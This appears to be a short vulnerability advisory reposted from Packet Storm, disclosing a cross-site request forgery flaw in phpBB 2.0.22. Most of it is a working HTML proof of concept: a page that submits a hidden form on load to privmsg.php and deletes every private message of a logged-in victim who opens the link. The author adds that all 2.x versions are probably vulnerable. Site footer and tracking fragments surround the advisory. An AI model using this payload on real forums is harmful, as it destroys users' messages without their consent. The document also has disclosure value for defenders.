phpBB version 2.0.22 suffers from a remote delete thread cross site request forgery vulnerability.
a2eaff4f6149fde3c24e4461d48aaccdda1639421ded826a778e74355ab574e0################################################################
phpBB 2.0.22 Remote PM Delete XSRF Vulnerability
by NBBN Type: Cross-Site Request Forgery
Founded: December 2007
################################################################
An attacker can send a link via pm to a site with the follow html code to a
victim and all victim's pm's are going to be deleted when he click the link.
######Code##########################################################
<html>
<head>
</head>
<body onLoad=javascript:document.xsrf.submit()>
<form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post"
name="xsrf">
<input type="hidden" name="mode" value="" />
<input type="hidden" name="deleteall" value="true" />
<input type="hidden" name="confirm" value="Yes">
</body>
</html>
#####################################################################
######Vuln Versions:#####################
I've tested it only on 2.0.22 but I think that all versions of 2 are vuln.
(Sorry my bad english :-) )
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed